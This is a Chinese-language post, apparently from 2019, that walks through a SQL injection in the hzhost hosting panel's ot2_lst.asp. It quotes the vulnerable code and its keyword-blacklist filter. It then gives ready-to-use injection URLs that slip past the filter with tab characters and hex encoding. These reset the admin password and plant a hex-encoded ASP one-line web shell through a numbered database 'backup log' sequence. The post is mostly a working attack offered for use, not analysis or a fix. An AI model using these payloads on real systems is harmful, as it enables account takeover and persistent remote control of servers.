hzhost最新漏洞(ot2_lst.asp)
发布时间:2019-05-12

大家好,我们又一次见面了,这次,我为大家带来的还是hzhost虚拟主机漏洞。
他漏洞其实比较少,我找了几个小时才找到!!
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
先来分析该文件!
-------------------------13-15行----------------------------
querytype=SafeRequest("querytype")  //saferequest函数接受数据
if chk_int(querytype)=false then  //检查是否是整数
   ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据!
  qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
 
   if  qu1="" then  //不能为空
 call errorpage(-2,"对不起,请选择参数!")
  end if  
     qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围
-------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7<>"" then
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
//这里就放入了语句开始查询!了

我们来看看saferequest究竟是怎么写的。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)  //获取数据
if IsNumeric(ParaValue)  then  //如果是数字
SafeRequest=ParaValue  //那就不过滤,直接赋值
exit Function

else
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符!他过滤方式有问题。。。没有过滤* % --
temps=split(tempvalue,"|")           //转为一维数组
for mycount=0 to ubound(temps)       //循环读数据
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
  call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
  response.end
end if
next
SafeRequest=ParaValue
end if
End function
-------------------------------------
来说说我的思路,由于上面过滤了单引号,所以导致被单引号包围了的变量都隔绝了注入漏洞!!我们只有找到没有被单引号包围的变量,才能突破过滤!!因为mssql太人性化了。。。哈哈!!
根据ot2_lst.asp中117行的查询语句,我构造了如下语句:
querytype=5&qu7=1&ordernum=32&qu1=1;{我们的语句};select%09*%09from%09v_ot2lst where s_regstt=1
这里是多句执行,执行了3句。。我们可以放入更多的语句一次执行,就看个人的爱好了。!!
放到数据库中就成了:
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句}//这里没有单引号。 and u_nme='1'//这里有  order by s_addtme desc
我们的语句构造原则,不能出现单引号。空格用%09代替!
示范语句:
UPDATE%09[memlst]%09SET%09u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
//看仔细,saferequest过滤的是update空格
我们这里是update%09,就逃过了过滤。u_pss经过编码了。编码方式为varchar

这条语句,就是把用户admin的密码修改为123456
下面我们来进行实战:
首先注册一个用户。登陆上去。访问
http://www.xxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1;declare @a sysname,@s varchar%09(4000)%09select%09@a=db_name(),@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @a to disk=@s;select%09*%09from%09v_ot2lst where s_regstt=1
这样就直接把管理员的密码修改为123456了。
为了避免破坏,我还是修改自己的密码。我刚才的密码为123123
我们改为123456
我们刷新一下看看。因为刷新后他又检查了我的用户名和密码。由于不一致,所以提示再次登陆!
OK了。。!我下面来演示备份挂马!

tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
备份木马语句!

create table [dbo].[banlg] ([cmd] [image])--
第一句没有出现非法字符,直接放上去

declare @a sysname,@s varchar%09(4000)%09select%09@a=db_name(),@s=0x7969616F6C75 backup log @a to disk=@s with init--   
过滤了select 《〈〈〈注意有个空格。我们就用%09代替就逃过了!  
char( 也是被过滤的。我们在空间弄个空格,mssql还是会认识的。哈哈,我爱他。     
我已经拿到系统权限了。刚才删除的1.asp是前面弄的。我先删了。   

insert%09into%09banlg(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
我说我怎么成管理员了呢。。是先前弄的,session还没消失!
declare @a sysname,@s varchar%09(4000)%09select%09@a=db_name(),@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @a to disk=@s--
忘记了。

我们刚才看到了,1.asp又被挂了上去。访问看看。
无语,肯定又是被截断了。。
再来搞一遍。
Drop table [banlg]--

第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
我们已经看到一句话木马躺在那里了!呵呵。
好了,怎么拿系统权限,后面该如何下去。请看我前几天爆的那个漏洞。以及利用方法。
动画到此结束!谢谢观赏!!

 

公司名称:六安市金狮网络技术有限公司
公司地址:安徽省六安市金安区皖西大道红叶大厦802A
联系电话:0564-3214800 手机:13956148092 邮箱:120907442@qq.com QQ:120907442 / 1099497647
手机访问